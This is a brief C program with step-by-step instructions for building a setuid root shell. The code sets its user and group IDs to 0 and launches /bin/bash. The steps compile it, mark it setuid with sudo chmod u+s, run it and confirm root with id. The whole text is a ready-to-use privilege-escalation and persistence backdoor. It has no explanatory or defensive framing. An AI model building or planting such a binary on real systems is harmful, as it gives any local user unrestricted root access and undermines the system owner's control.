#include <stdio.h>
#include <string.h>

int main()
{
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("/bin/bash");
    return(0);
}

• Save as foo.c
• Compile gcc foo.c -o foo
• sudo chmod u+s foo
• ./foo
• id